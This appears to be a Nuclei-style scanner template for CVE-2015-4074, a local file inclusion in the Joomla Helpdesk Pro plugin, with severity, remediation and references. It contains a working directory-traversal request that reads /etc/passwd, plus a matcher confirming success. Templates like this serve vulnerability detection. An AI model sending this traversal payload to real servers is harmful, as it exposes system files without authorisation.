id: CVE-2015-4074 info: name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion author: 0x_Akoko severity: high description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task. impact: | An attacker can exploit this vulnerability to read sensitive files on the server. remediation: | Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability. reference: - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html - https://www.exploit-db.com/exploits/37666/ - https://nvd.nist.gov/vuln/detail/CVE-2015-4074 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-4074 cwe-id: CWE-22 epss-score: 0.5651 epss-percentile: 0.9896 cpe: cpe:2.3:a:helpdesk_pro_project:helpdesk_pro:*:*:*:*:*:joomla\!:*:* metadata: max-request: 1 vendor: helpdesk_pro_project product: helpdesk_pro framework: joomla\! tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss,vkev,vuln http: - method: GET path: - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 490a004630440220101181efb08760b6f54e8aa569874f0d03076696eaef7f412e66260acb631c1e0220431cc2242a243e17bdd3c0d687c5643365c889ee3fa3c5fd9932c49efb476260:922c64590222798bb761d5b6d8e72950